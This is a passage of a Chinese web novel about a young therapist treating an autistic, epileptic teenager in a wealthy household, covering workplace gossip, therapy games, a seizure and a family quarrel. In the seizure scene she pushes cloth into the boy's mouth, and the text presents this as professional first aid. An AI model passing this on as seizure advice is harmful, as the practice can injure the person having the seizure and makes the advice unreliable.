这天,李小萍远在外地看展,董童对她一向不闻不问,晚上就窝在屋里打游戏,没什么后顾之忧,夏初浅便跟随大部队来到一家烤肉店。 徐庆河不在,大家话头开放了,气氛甚是热闹。 安雅坐夏初浅旁边,压着脑袋小声问:“浅浅,你给秋家小魔王的治疗怎么样了呀?他揍你了吗?” 此话听得夏初浅呛水了,她放下果汁擦擦嘴:“雅雅,你为什么觉得他会揍我?” “不会吗?” “不会啦!他很乖的。” 安雅嘴巴挂灯笼,将信将疑,关心道:“你的感冒好了吗?最近降温了,多穿点,别又感冒了。” “已经完全好了,满血复活。”夏初浅胳膊搭上安雅的肩膀,“你口中小魔王的尖牙管家给我开的药剂和糖浆,据说是上百年的秘方,确实管用,一天见效。” “呦呦呦!”安雅拧夏初浅的脸颊,拧完又好生揉揉,“夏初浅我看你是彻底被收买了!你不只是身体为秋家效劳,连灵魂也肝脑涂地了!” 夏初浅笑意盈然,拉着安雅的手诚恳地说:“一心一意为客户服务不就是我们的职责吗?而且秋家真的挺好的!从佣人到主人都和和气气的……” 她绕开了秋许明,接着说:“没有他们传的那么豺狼虎豹,你看我这一个多月了不都好好的?不仅工作环境轻松平安,还受了很多秋家的恩惠。你也别小魔王小魔王的叫啦,那孩子乖乖的很善良,跟魔王不沾边。” “浅浅,你干的开心就好,我这不是担心你的安危嘛。”安雅突然贼兮兮地凑到夏初浅耳畔,八卦之心爆棚,“秋小少爷长得怎么样啊?是像一般的自闭症患者那样看起来呆呆的,还是像电视剧里演的恶少那样帅帅酷酷的?” 少年的面容映在夏初浅脑子里,她非常客观地评价:“帅帅又呆呆的。” “有照片吗?给我看看!” 安雅颜狗一个,夏初浅无奈地摊手:“没有,我哪有机会给他拍照?我都还没听过他讲话。” 病历册一页页记录着秋末染的进步,非言语交流有了,外出主动性有了,治疗积极性有了,对她的情感联结有了,可惜至今没有语言开化。 不知还需要多久。 见夏初浅目露惆怅,安雅搂住她的肩膀摇晃,给她打气:“会来的,会来的!我们这么温柔漂亮的小姐姐天天陪着他,他再不开口说说话,也太不开窍了。哎,对了,大龄自闭症懂爱情吗?小少爷会不会爱上你?哈哈!” 闻言,夏初浅眉头紧蹙,把安雅的大嘴捂得严实:“安雅同志你积点职业道德吧!” 自知口无遮拦了,安雅讪讪吐舌。 几个前辈关心起了夏初浅和安雅的私生活,呼着酒气问两个小姑娘有没有对象,没有的话,诊所里有单身优质男青年,不妨内部消化一下。 安雅说刚和男友分了,夏初浅则答:“我有个青梅竹马,不考虑别人了。” 前半句真,后半句假。 夏初浅现在没心思也没工夫谈恋爱,为避免麻烦,她会拿董童当挡箭牌。 酒过三巡人狂妄。 杨奇坐在夏初浅另一边,他肉眼可见酒劲上头了,神神秘秘地掩嘴跟夏初浅咬耳朵:“夏学妹,你尽快被秋家辞退吧,干的越久越危险。” 酒气扑鼻,夏初浅忍不住把脸移开。 安雅嗅到“大瓜”气味,凑过来探个究竟:“学长,你是不是知道什么大新闻?快说来听听。” 杨奇眼神缥缈地扫视一桌人,无人在意他,便放宽心透露:“七年前,咱们诊所有个男治疗师给小少爷又做心理治疗师又做语言康复师,干了将近一年,是干得最久的一位,你们猜后来他怎么着了?” “怎么着了?”安雅等不及问。 “死了。”杨奇不卖关子了。 “死了?!”安雅的一声惊叫引得邻桌侧目,她压低嗓音确认,“真的假的啊?谣传吧?” “骗你干嘛,死在秋家别墅了。”杨奇挤眉弄眼,“你们刚来还没听说过吧?” 10. 传言 杨奇和夏初浅同所大学同个专业,大她三级,为人清高油腻但总体品行端正、作风正派。 夏初浅听得直蹙眉。 这个爆炸性消息她确实不知情,七年前居然有同行在秋家别墅丧命了! 她不人云亦云,存疑的同时,又觉得杨奇没必要拿这种关乎人命的事来诓骗她。 她没表态,听听再说。 安雅吓得抓住了夏初浅的胳膊求心灵庇护,紧张又好奇:“什么情况啊?” 杨奇醉眼惺忪比划着“嘘”,嘴巴没把门:“偷偷告诉你们,那个咨……嗝!抱歉……” 打个酒嗝,他说:“那个治疗师和秋家相处的可愉快了,经常看到秋家的司机来诊所接送他,逢年过节给他送礼,秋家对他的评价很好,据说治疗效果也是最好的!所有人都以为这事稳了,谁知道……” 他抬手在喉前横砍一刀:“嘎了!” 安雅打寒噤,下意识捂住脖子。 杨奇嘴里呜呜囔囔拌浆糊:“小少爷看上去还算正常,就是这个治疗师的功劳。学妹们,看到了吧?治得越好,死……嗝!死得越早。” 烤肉店炭火滚烫,安雅竟后背发寒。 韭菜烤蔫吧了,人死了也是那副缩水干瘪的鬼样子。 恐惧冒头,又被旺盛的八卦欲战胜,安雅忙追问:“那医生怎么死的?” 杨奇耸肩:“谁知道,我又不在现场。” “谁杀死他的?” “还能是谁?不是秋许明,就是秋末染。” “为什么啊?” “喝了这杯酒,学长我告诉你。” 杨奇捏起一杯啤酒,安雅接过酒杯一饮而尽,把杯子重重放回桌面:“说吧!” 杨奇用手挡着嘴巴,含混地说:“秋家干的都是写进刑法里的勾当,杀个人需要什么正当理由吗?就惹得秋大佬、或者小少爷不高兴了呗!” “……合着你也不知道啊!”安雅起初觉得在理,稍作思考后发现这个理由万能到可以当屁听。 “一个大男人骗小姑娘喝酒,不害臊!”安雅不惯着,砰砰砰,连开三瓶啤酒,怼到杨奇口边让他对瓶吹。 杨奇投降告饶:“我错了!哪有你这样凶学长的!” 三瓶酒下肚,他醉得像个不倒翁,手指在虚空中瞎指:“真搞不懂……徐教授不是个贪财的人,为什么……执意要……要揣着秋家这么个炸弹……” “咚——” 他一头砸向桌面,轻鼾后脚跟来。 安雅一脸嫌弃,转而,满腹忧虑地看向夏初浅:“浅浅,我的好浅浅!你听到了吧?诊所的前辈们为什么都不坚持,难道他们真的对秋末染无能为力?” 夏初浅不作声,倒了杯啤酒仰头喝下。 酸苦顺着口腔滑入肠胃,些微的灼烧感让她头脑冷静下来。 她沉思道:“学长比我们进诊所也就早两三年,七年前的事他也是道听途说罢了。我相信这场命案是真的,但或许有隐情,我想自己去求证。” 而且,秋家给的薪水真的非常可观。 她短期内不可能再寻到一份比这更好的差事。 “夏初浅,你没救了!” 夏初浅阻止安雅拿夹子给自己疯狂夹肉的手:“好啦,雅雅,我饱了。” “多吃点吧!”安雅气咻咻瘪嘴,“我不怕死的铁头浅浅,每顿饭都可能是你最后的早餐午餐晚餐了!好好珍惜吧!做鬼也做个饱死鬼!” “哪有这么夸张……” 做闺蜜四年,安雅知道夏初浅性子温和,但一旦轴起来没人劝得动,她扶额叹气:“犟死了,自求多福吧!” * 国庆节当天,夏初浅推掉安雅的出游邀约,矜矜业业来到秋家做治疗。 金主爸爸不发话说休息,她自然不能懈怠。 节日的喜庆气氛浓烈,屯街塞巷,她对过节一直抱有平常心,不期待也不生畏。 路过某广场,夏初浅看见一对父母和女儿大手牵小手,小女孩手腕系一个气球。 阖家欢乐的场景感染力十足,夏初浅脑袋靠在公车车窗玻璃上抿唇浅笑,转大巴时,她也买了两只气球。 十块钱一个,一个是小企鹅,画两团粉扑扑的圆形腮红,一个是白色小狗,眼睛和鼻头都像黑豆豆,呆萌的气质让她不由地联想到一个人。 捏着气球来到秋家,夏初浅把它送给了给她开门的人:“国庆节快乐呀,小染!” 有第一次就有第N次。 这几日,秋末染都守在门口,在第一声门铃响起的半秒内就给夏初浅打开门。 少年一身清爽的浅色系休闲衣裤,经夏初浅提醒他才把眼睛从她脸上移到了那个气球。 他眸若溪水潺潺,表情呆然,伸手去接,夏初浅一躲,笑着拉住他的手腕,没有触及他的皮肤把小狗气球的拴绳在他腕上缠了一圈再打个结。 “送你一份小小的节日礼物。你别嫌幼稚,也别嫌便宜啊!”她仰头笑得腼腆,“我呢,小时候可想要这么一个卡通气球了,当时不敢开口要,只有羡慕其他小朋友的份儿,现在我自己买给我自己,再买一个给你。” 他们都欠缺快乐童年。 她现在有能力去弥补缺失,也想给予他一份迟来的童真。 秋末染凝视“白色小狗”,山径的清风空灵生姿,气球在他眼前抖着左摇右摆。 “小染,你帮我系一下,好不好?”夏初浅把手腕伸给秋末染,同时把绳子递上前,“我自己系不上。系在左手腕吧,等下不影响我工作。” 少年乖乖接过绳子,低头咬唇,严肃得像是搞科研。 绳子细薄,风不时来捣乱,简单一个绳结,在他手里比生龙活虎的泥鳅还不乖驯,修长的指头笨拙得仿佛机器人漏电故障,愣是系不好。 夏初浅温柔耐心地指导配合。 最后,一个歪歪扭扭的绳结打好。 她又发现了他身上需要干预的一点:精细化动作缺陷。 大多数自闭症患者精细动作都落后于同龄人,她看他握笔画迷宫时行云流水,病历记录中也没提到,还以为他这一方面已训练有素了。 发现问题就解决问题,她不馁,她本来就是为了帮他变得更好而来的。 “小染,下次我们一起做手工。”夏初浅踮起脚尖悬空摸摸秋末染的脑袋,眼角旋绕柔柔笑意,“你做的只要有一点点进步我就给你奖励,想要什么呢你来定……哦!别太贵啊!太贵了的我买不起。” 秋末染点头,侧过身子让夏初浅进来。 她和家佣们问好,他像道无声的影子跟在她身后。 和第一次的亦步亦趋相比,他靠得越来越近,夏初浅一个无意中的停顿,他竟径直撞上。 夏初浅向前趔趄:“……” 回过头,少年模样单纯无害,他眼睫扇动如蝶翅,似乎明白跟太近会撞车,他后退一步,杵在原地不动,仿佛她不迈步他就待机听命。 夏初浅心里偷笑,面上不露声色,她忽然加快脚步跑上楼梯,身后一串和她同频率的脚步声。 拐角处,她猝不及防地刹车。 果不其然,秋末染直愣愣地与她相撞,这次动能较大,她后脑勺磕在了他单薄骨硬的胸膛。 她靠上墙壁,笑声悦耳欢快:“你干嘛这样跟着我?我们可以并排走呀。” 秋末染垂眸,陷入了沉思。 片刻,他抬起手掌满登登覆盖夏初浅的后脑,顺时针揉三下,逆时针揉三下,力度控制得不轻不重如细水淼淼,没了刚才系绳结时的拙笨。 撞痛她了。 揉一揉。 雨水连日缠绵的C城在这天放晴,熹微日光与他眸中的碎闪交相呼应。 他右眼的深咖色泪痣被光打磨得稍显褪色,不减他身上明暗相宜的素描感,反添一丝朦胧。 夏初浅莫名呼吸凝滞:“……” “……好、好啦!”她结巴一下,躲开他的触碰,闷头走进了他的卧室,手伸向后面招了招,“小染,快点进来,今天有很多任务要完成呢。” 他乖巧跟着她,“白色小狗”和“粉腮红小企鹅”摇摇晃晃贴在一起。 * 前些日子教秋末染识别人的面部表情,本以为滑铁卢了,谁知他睡了一晚又会了!简直跟她的感冒一样,来得快,去得快,也没留下后遗症。 自夏初浅看到那张“道歉纸条”,她便有了和秋末染更加有效沟通的方式—— 写字。 他的想法可以借用文字表达。 每天除了特定的训练之外,夏初浅会留出十几分钟和秋末染写字聊聊天。 刘世培提议两人去书房,那里有宽敞的书桌可供书写,但是秋末染不愿意,刘世培又提出在卧室支一张桌子,夏初浅想了想,还是算了。 她目前为止没见过秋末染癫痫发作,30%-40%的自闭症患者伴有癫痫,大脑皮质受到刺激产生过度异常放电所致,不论他的症状或轻或重,他的卧室里最好尽可能减少家具,尤其是桌子一类的硬物。 两人照常就地而坐。 一人垫一个靠垫在身下,地暖上涌,暖乎乎地趴床边,在本子上你一言我一语。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 同“情绪脸谱纸牌”,这也是罗氏自闭症游戏治疗的其中一种,名为“会话泡泡”,用来增强患者的社交技能,帮其练习在特定场合说什么以及怎么说。 夏初浅在纸上率先画一个对话气泡,写:【小染,你喜欢我送你的气球吗?】 秋末染抬头瞅他飘飘摇摇的“白色小狗”,不会撒谎的他写下大实话:【现在不喜欢,十年前喜欢。】 夏初浅面色泛红:“……” 看来,她太把他当小孩了,难为小少爷这么配合她。 夏初浅赶忙写:【不喜欢就摘了吧!】 秋末染清眉微皱,把绑着气球的那只手藏进怀里:【不要。】 夏初浅:【不是不喜欢嘛……】 她又画一张嘴巴撅成“3”形状的圆脸,额头加三滴汗。 此种语境之下,正常人都能反应过来,这是一句带着点假意嗔怪的话,她也并没有真的流汗。 可是少年来自“星星”。 他盯着夏初浅的脑门看,又在她绯唇上栖息片时,疑惑之色在他眼底滋生,人脸表情和emoji对他来说是两套东西,并不能融会贯通。 他写:【是不喜欢,但浅浅给的我要戴着。浅浅画了什么?浅浅热了?】 夏初浅别开脸去忍笑,教他识别emoji也要排上日程了。 她也意识到,带秋末染认识表情仅仅停留在浅层,若想真正知行合一,必须引导他真真切切地去体会情绪,去感受人类独有的七情六欲。 说干就干! 夏初浅转回脸来,秋末染正迷茫地伸着脖子去看她的脸,两人险些头碰头。 她提笔,脸色恹恹地写下:【你都看不懂我写的和我画的,我不理你了!!!】 三个感叹号,不晓得他能不能体悟到语气之强烈。 而少年,一双明眸倏然睁大,“我不理你了”这五个字,像夏初浅在他沉寂的心湖上打水漂。 一下,激起名为“困惑”的涟漪,一下,他自责自己为什么没看懂她的意思,又一下,他着急地写下“对不起”三个字拿到她眼前给她看,见她不为所动,脸色没有丝毫变化和松动,再一下,不安袭上他的心头。 他双唇开启,却寂静无声。 她嘴角下垂,杏眼怒目圆睁。 他读得懂她的表情,知道她生气了。 最后,她丢来的“小石片”沉入湖底,所有的负面情绪只剩下了慌张,少年身体紧绷得像根弦。 * “哈哈——” 夏初浅破功发笑。 她指尖摩挲秋末染写的“对不起”,笔划凌乱无章,一看就是心慌意乱之下写的。 “我骗你的啦!”夏初浅轻戳秋末染的胳膊,宽松的卫衣被她戳下一个小凹槽,“我一点都不生气。小染,你有没有好好感受刚才的心情?有没有什么新发现?写下来告诉我吧。” 一张脸阴转晴,笑容天光大亮。 秋末染:“……” 许久,他才懂这是一场“即兴情景戏”。 困惑、自责、着急、不安、慌张,成长的这些年,他或多或少都体会过,但是此刻,一种全新的感受从左胸口迸发如洪流般蔓延至整个胸膛。 说不清道不明。 浅浅教他,善意的欺骗他不应该生气,可是他有点气愤,有点心安,有点酸涩,又有点委屈,不想理睬她,却又渴望她主动说些温言细语…… 前所未有的情绪驾驭着少年的神经,他沉眉耷拉眼,下唇微微撅起,抱住双膝,下巴抵在膝盖上,以屁股为轴,两脚在原地画圈背转身去。 背影极为幽怨。 夏初浅一愣:“……生气啦?” 她惶惶自己是不是欺骗小孩玩过火了,赶紧脸伸过来瞅瞅秋末染的表情。 他咻地把脸转到反方向,她眼巴巴跟着他转头,磁铁相斥似的他避开,就不给她看! 夏初浅傻眼:“……” 如果把人的情绪以笛卡尔坐标系形式展现,x轴为喜和怒,y轴为哀和惧,那么自闭症患者大多只能感受到x、y轴上的这四种基准情绪。感知能力再强一点的,能体会到“情绪罗盘”上的八种基本情绪,即,快乐、信任、恐惧、惊讶、悲伤、厌恶、愤怒和期待。 譬如悲喜交加、又羞又恼这类复合情绪,或者崇敬+恐惧催生出屈服这类衍生情绪,他们很难感同身受,虽然可以通过后天的引导和观察去感知,但显然秋末染没进行过这项训练,但他现在很明显…… 情绪如毛线般杂糅成一团。 还跟她赌气想让她哄一哄。 11. 癫痫 “小染……” 夏初浅有些无措地轻唤:“对不起嘛,我惹你生气了。我不是有意的,我只是想让你体会一下多样的情绪,提前跟你说明就没效果了。” 她揪一揪他卫衣的衣摆,他不应。 她又抓住他“白色小狗”的绳子轻轻一拽,想引起他的注意,他一把把气球拉进怀里。 修剪得整齐又不显死板的脑后碎发因为他塌肩的动作而藏进了领口,有种不见天日的委屈。 夏初浅汗颜:“……” 怎么办? 该怎么哄? 她翻出他的画册,先夸夸他:“你等下教我画迷宫好不好?你好厉害,我向你请教。” 秋末染:“……” 夏初浅绕到秋末染的面前蹲下,举起刚画的表情,一张委屈巴巴坠两滴泪珠子的小圆脸,她忍住内心的羞耻做出同款哭脸,耳廓彩染一轮粉晕。 可惜秋末染不看她:“……” 苦闷了好一阵子,夏初浅心生一计,以毒攻毒,继续即兴发挥演技:“既然你不理我,我回家了。今天还是国庆节呢,我去和愿意理我的人一起玩。” 她佯装起身打算离开。 少年脖颈忽而一僵,拿起笔在纸上写了一行字,闷着头默默推给她看:【今天多陪我一个小时,就不生气了。】 写完,他蛮有礼貌地又画了一个气泡框,在里面填上:【浅浅可以吗?】 果然还是小孩心性。 夏初浅右手捂着下半张脸,故作思考之态,实则在用手掌掩饰唇边得逞的小坏笑。 李小萍还没回来,没人限制她回家的自由,她便在秋末染身边盘腿坐下,笑着答应:“可以呀。小染,我不热,这里的温度刚刚好,我待在这里很舒服。还有,我画的这个是表情包,以后带你去了解。” 她又开一个新的气泡框,问:【你那天明明身体很痛,为什么还配合我玩表情游戏?】 少年脸颊枕在手臂上,侧脸清雅标志如赏心悦目的建模,毫无保留地答:【因为浅浅愿意和我玩。】 写完,他撞进她的视线,眼中斑斓流转。 这一行字夏初浅读着心里并不好受。 自闭症小孩在学校容易成为被霸凌的对象,她尚不清楚秋末染儿时的经历,但可见一斑,他年幼丧母,父亲暴戾,自我封闭,九岁起就不去学校了,长年累月孤零零地栖身于黑暗空间,没人陪他玩,也没人做他的朋友。 记忆由此回溯,夏初浅想起初见那天,秋末染貌似原本不打算理睬她的,但当她做完自我介绍,他埋在双膝间的脑袋突然支了起来,熠熠与她对望。 她那时提到了一个词—— “朋友”。 她当时说:“我们就像朋友一样相处吧!” 顿时,心中怜爱难表,夏初浅眼中缀满温柔的光彩:【当然,我非常愿意和你玩,因为我们是好朋友。】 少年手指悠然轻扣床面,一副心满意足的模样。 他没写文字,而是依样而为,在她对话框的旁边画下一个同款圆脸表情,不过他画的小圆脸两眼弯成月牙,唇线扬成香蕉,看起来喜不胜收。 趁秋末染心情愉悦,夏初浅试着探寻:【小染,你那天做了什么梦?可以告诉我吗?】 少年眸光当即暗沉。 静止几秒后,他似乎掌握了如何把人脸表情投射到emoji上,画了一个比“嘘”的圆脸,表示不想说,逼真得夏初浅看了大吃一惊。 他学东西学得挺快! 夏初浅心有不甘,继续试问:【那……小染,我可以问问你七年前发生了什么吗?是不是有一个给你做治疗的哥哥在你家去世了?】 她问得直白,拐弯抹角的他也看不懂。 少年诚实点头,在纸上落笔:【他从楼上摔下去了。不怕,我保护你。】 没来得及深思“摔下去”和“保护你”之间的联系,夏初浅的毛衣被一只手轻轻地拉扯,只见秋末染写字问她:【我不可以跟着浅浅吗?】 夏初浅差点忘记了,她问过秋末染干嘛跟着她,他们可以肩并肩走的。 她回答:【可以呀,你喜欢就好。】 他画下一前一后两个小人儿。 前面个头矮一点的扎马尾辫,腕上连一个企鹅气球,而后面个高的牵小狗气球。 他面无表情,但瞳仁锃亮,似乎在袒露开心。 治疗时间到了,按照约定,夏初浅屁股沉沉地坐在坐垫上,没有离开的意思。 她看向身旁的秋末染,少年显出疲态,两个小时的治疗对他来说其实特别耗费精力,但他很努力,从头至尾都在竭尽全力地配合她,无条件信任。 “剩下的一小时,要不要我读书给你听?” 听书不需要秋末染专注动脑,他舒心听她朗读就好,还能减少他的疲倦。 少年摇了摇头。 他脸颊枕上小臂,侧着脸静静将她凝望,唇色略显苍白,澄亮的眼眸却有万点星光汇聚。 “那你想做什么呢?” 他用文字直抒胸臆:【看浅浅。】 夏初浅不自然地一遍遍捋自己的高马尾,少年清澈的目光仿佛瞬间泼了油,与空气摩擦后在她脸上引燃着火,烫得她白皙的肤色浮现红晕。 “你这一个小时都要看我吗?” 他轻轻颔首。 “那、那你看吧。”夏初浅选择坦荡荡地让秋末染看,她从帆布包里掏出笔记本电脑,征求道,“小染,你介意我这一个小时用电脑改论文吗?国庆后我要上交开题报告,时间很紧了,我的报告还不够好,需要润色一下。” 秋末染听到了几个陌生词汇,欣然点头。 夏初浅最近的头等大事是完成开题报告。 早上,她一边照看花店生意,一边润饰文章,吃完午饭直接背着电脑来了秋家,想着治疗结束后直奔学校图书馆。 她引用的文献有几本找不到电子中译版,只能泡图书馆去啃英文原著,工程量巨大,好在她的英语阅读能力不错,能达到英专八水平。 点开文档,她心无旁骛地修修改改,近侧的少年善解人意地安静自处着,连呼吸声似乎都有意控制得更为轻细,房间里唯有键盘啪啪的声音。 窗外,林荫路两旁的银杏树排似繁星闪熠,随风浮浮沉沉的光影如诗如画。 屋内屋外都岁月静好。 可是,猝然,秋末染的头砸在了床面。 夏初浅停下打字,冒出的第一个念头是他困了,但当她视线落于他时觉察了不对劲—— 他双目似张非张,明澈的瞳仁此刻俨然死寂的黑洞,呈现出丧失生气的迷离涣散,仿若被鬼神附体,右手突然高举,在虚空中缥缈挥舞。 旋即,他两只手半握拳头佝偻在胸前,上了发条似的抽动,脸不听使唤地深埋进床垫,口鼻堵住,呼吸不畅在瞬间引发了腿脚和脊背的抽搐! 糟糕! '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >是癫痫! 夏初浅心下大惊。 她小心地将秋末染的头部转向一侧,让他口鼻裸露出来,避免窒息,顾不上从床头柜的抽屉找纱布了,她手忙脚乱地把自己的外套一角塞进他的口腔,防止他咬到舌头。 接着,她一把推开坚硬的笔记本电脑,移开他身边一切可能误伤他的物品,他穿着宽大的卫衣,喉部没有阻碍,如果他穿衬衣就需要解开他领口的扣子。 知悉秋末染伴有癫痫,夏初浅为他学了一些基础的急救措施,但她毕竟应对癫痫的经验为零。 做完这些,她慌慌张张地冲去走廊朝楼下大喊:“救命啊!小染癫痫发作了!” 刘世培赶来时,秋末染仍在发病。 老人诧愕,急得脸色煞白,但癫痫急性发作时,应使患者保持原状,尽量不要大幅度移动,他除了拨打钟渊的电话之外,别无他法。 少年时而身子僵硬得像块钢板,笔挺又怪异地绷直,时而像条离开水濒死的鱼,身体不停扭曲,腿脚拍打地板的动作从狂躁变得有气无力。 夏初浅咬牙,红着眼紧紧攥拳旁观。 两分钟后,秋末染渐渐恢复了正常。 他从地板上缓缓坐起,眼睛重拾光彩,取出嘴里的衣服,呆呆地拿在手里端量。 夏初浅下意识想去搀扶,忽然想到少年对自己触碰的回避,只好悻悻然止住,眼睁睁看刘世培擦了擦额角的冷汗,扶秋末染回床躺下休息。 悬着的心落下,她才感觉到手心火辣辣的疼,抬手一看,掌心印有八个紫红色的指甲印,月牙弯弯的形状,竟像对她的有心无力狞笑。 “夏医生,您别担心,钟医生很快就到了。”刘世培安抚受到惊吓的夏初浅,语带凄然,“少爷每天都按时按顿吃抗癫痫的药,已经两三年没这样犯过病了。他有发病前兆,比如呼吸困难或者肢体麻木,他自己掐人中就能缓解,能避免癫痫,这一次不知是怎么了?” 单纯的询问不带责备,夏初浅却被压得抬不起头,小声嗫喏:“我不知道……对不起,刘管家,我那时没有注意他,我在……我在……” 她一门心思扑在论文上。 “夏医生,我没有质问你的意思,更不是在责怪你。”刘世培见夏初浅误会了,小姑娘一双杏眼内疚得快要滴水,他忙说,“能完全防治的就不叫病了。夏医生这次的急救措施非常专业,帮了大忙了。” 夏初浅苦笑,讲不出违心的话。 不出意外,钟渊给秋末染检查完身体出来,对着夏初浅又是一通伤害性不大但侮辱性极强的输出,一口一个“夏小姐”,讽刺意味拉满。 夏初浅不禁怀疑,秋末染这次癫痫发作,难道当真和她有关? 她明明什么都没做啊! 答应秋末染多陪他一小时,不能食言,夏初浅硬着头皮走进他的卧室,在他身边坐下。 “小染,你这次发病,真的是因为我吗?”看着少年的发鬓被汗水濡湿,夏初浅好想伸手帮他擦一擦,但只能忍住,“是因为看到我的论文了,你不喜欢?还是我光顾着写论文冷落你了,你不开心了?” 秋末染连摇两下头。 他的气球被钟渊剪断,飘在天花板,夏初浅也解开绳子,送“小企鹅”上去陪“小白狗”玩。 被推到床另一侧的笔记本电脑亮着屏,她关机时,发现电脑不知何时就已卡死了。 她捏捏鼻根:“……” 一波刚平一波又起。 12. 天才 滑动鼠标和键盘唤醒都无济于事,夏初浅叹口气,熟练地长按关机键强制关机。 常有的状况,早上就死机一回了。 她淡定地安慰紧张的少年:“没事的,小染,我有经验!我每打几个字就点击保存,哪怕电脑卡了,文档还在。就算电脑里的文档不在了,我也有U盘备份。” 秋末染听得一知半解。 但她神色平和,他也就安心了。 夏初浅尝试开机好几次,电脑都毫无响应,此前也发生过,隔一两天再开机就又打得开了,活像个苟延残喘的病人,回光返照时蹦跶几下。 她郁闷地合上电脑。 只能先回家一趟拿上U盘再去图书馆了,暂用机房的电脑,修改思路她还记得,到时候再改一遍。 又待了一会儿,夏初浅隔空摸摸秋末染的头:“我走啦,你好好休息,如果明天不舒服我们就歇一天,如果满血复活我们就明天见。” 她笑容牵强,像盖了一片雾蒙蒙的玻璃。 被窝里的少年已然困倦到眼皮打架,她清丽的面容模糊成了水面倒影。 一次癫痫不亚于一场马拉松,坠入梦乡前,他听着她的脚步声逐渐远去。 * 楼下,刘世培给夏初浅双手奉上一件全新的外套,看着她袖口一圈湿渍,他饱含歉意地说:“夏医生,不介意的话,穿这件外套回去吧,您的这件我们清洗干净后给您。” 一件浅灰色带帽开襟休闲衫,款式简约时尚。 别墅本就人丁稀薄,女性更是只保姆王妈一人,这衣服一看便知是秋末染的。 夏初浅愣了一下才反应过来刘世培为秋末染脏了她的外套而感到抱歉。 她没有洁癖,也不娇气,刘世培不怪罪她不仅没找到无菌卫生的纱布还把穿过的外套塞小少爷嘴巴里就谢天谢地了,这道歉实在受不住。 连连摆手,夏初浅赧然:“别别别,刘管家您太客气了!外套我回家洗洗就好了!” 大约一小时后,秋末染倏地睁眼。 他精力体力一向恢复得极快,掀开被子、拿上本子和笔跑去找刘世培。 不等刘世培嘘寒问暖,少年把写好字的纸递给他看:【浅浅的电脑坏了,送她新的。】 刘世培对小少爷有求必应,钱是小事,可夏初浅都不愿意收下外套,何谈收下价值更高的笔记本电脑?心里正琢磨着怎么说服夏初浅,又一张纸塞进他手里。 要不是口不能言且虚弱到当时只能瘫在床上,早就声讨了:【刘叔,不要怪浅浅。不许钟渊哥再凶浅浅。】 字体稍乱,藏点小情绪。 * 欢天喜地的国庆氛围直到夜色弥漫也没消退,阳安路添设了彩色装饰。 夏初浅沿路又看到了卖卡通气球的小商贩,一簇花花哨哨迎风摇头晃脑。 路过炸鸡店,她买了一份芝士爆浆鸡排和一份炸甘梅条,董童从小就爱吃这两样。 大过节的,她晚回去一小时,还得麻烦他晚上看店,买点犒劳品是人之常情。 “我回来了。” 夏初浅推开花店门,迎客的风铃声随她一齐入室。 董童正坐在收银台前打手游,口罩帽子不离身,掀起眼皮冷冷地睨夏初浅一眼,继续游戏。 一局结束,他不打招呼起身往楼上走,默认之后就交由夏初浅来管店顾生意了。 “阿童,你吃饭了吗?”夏初浅叫住董童,拎起手中的食物袋,“我给你买了炸鸡排和甘梅条。” 董童折回来,食指轻率一挑,塑料袋从夏初浅手中滑向他的手指。 他是个吝啬“谢谢”如金的人,等不来道谢的话的,夏初浅便继续明说:“我等下要去学校图书馆写报告,回来估计很晚了,晚上就麻烦你看店了。” 董童表露出明显的不悦,他晚上约了网友开黑,那是他为数不多能感受到愉悦和存在感的时光。 他蹙眉驳斥:“我晚上有事。你不是有电脑吗?为什么还要跑去图书馆?” “电脑坏了,用不了。”夏初浅直言,她背着沉甸甸的帆布包回了自己的房间,搁下电脑,脱掉外套放进洗衣机,滚筒里有一件袖口沾黑墨水的上衣。 然后,她返回房间在桌面翻找,口吻柔软道:“就今天一天,拜托了。明天李阿姨就回来……” 她的好声好气渐渐演变成丝悬颤音,桌面整洁如旧,唯独少了一样最重要的。 她匆匆跑去楼梯口冲下面的董童喊:“阿童,你有看到我的笔筒吗?” 笔筒长年累月摆在她书桌的一角,现下却不见了,她今早用完U盘放笔筒里了! “哦,见了。”董童上楼来准备吃晚餐,漫不经心地答,“柜台的笔没水了,借你的笔用一下,结果你的笔漏水,染了我一手墨还脏我的衣服。” “然后呢?”夏初浅顿生不妙。 “然后我扔了。”董童漠然得令人气闷。 “……你连笔筒一起扔了?!”不可理喻让夏初浅的音调尖锐,她梗着脖子与董童对峙,“你把笔扔了就好了啊!为什么要丢掉我的笔筒?!” “那里面有我的U盘,U盘里有我的报告文献资料的备份!你知道那些有多重要吗?你扔之前为什么不问一下我也不看一下里面的东西?!” “……”自知理亏,董童霎时凝噎。 其实,他看了笔筒里面才决定要扔的,底部和侧面被漏墨的黑色中性笔糟蹋的不堪入目,还有一只拇指大的“斑点小狗”脏兮兮躺在下面。 夏初浅用卡通造型的U盘,拔掉“斑点小狗”的脑袋,它的身体里装着USB插口,没见过的人,可能真不知道那是个U盘而不是小摆件。 不知者可被稍稍谅解,但是,他不是物品的主人,没有任何丢掉这样东西的权利。 夏初浅气到身子发抖,呼吸从牙缝中挤出,难掩怨愤诘问:“丢哪儿了?” “街上的垃圾桶,和中午的外卖一起丢了……”董童觉得自己异常难堪。 自尊心作祟,他心底涌起一股无名的可笑怒火,大手一挥,泄愤式将炸鸡排和甘梅条甩进垃圾桶,冷笑道:“重要的东西不随身携带你活该!” 夏初浅此刻对董童的情绪已由愤怒转为失望,她失神地拉开椅子坐下,一只手支撑侧额,闭眼,有气无力地说:“以后不要进我的房间……” “你的房间?”董童疤痕丛生的右侧脸显得愈发狰狞,仿佛听到了一个笑掉大牙的笑话,“你的房间就你的房间,谁TM稀罕进来!” “砰——” 他重重拍上门。 窗框被这巨大的震动波及,发出窸窸窣窣的呼救声,那扇坏掉的窗户更显摇摇欲坠。 喉咙像是堵了一块沾满辣椒和醋的饭团,夏初浅不停吐纳,憋闷的感觉却无法淡化。 她索性背包出了花店,戴上橡胶长手套和双层口罩在最近的一个垃圾桶里翻了半天。 臭气熏天的污秽物不仅刺鼻,还辣眼,末了,她选择放弃,周遭这么多个垃圾桶不晓得董童丢在哪个里面了,再者,U盘可能早就被环卫工人清理了。 她摘掉手套和口罩,赶去了学校的“24小时”自习室。 大不了天亮了花钱修电脑,修不好大不了通宵重写。 * 秋日午阳温宁得好似催眠曲,整个下午,秋末染在心里默数夏初浅总共打了33个哈欠。 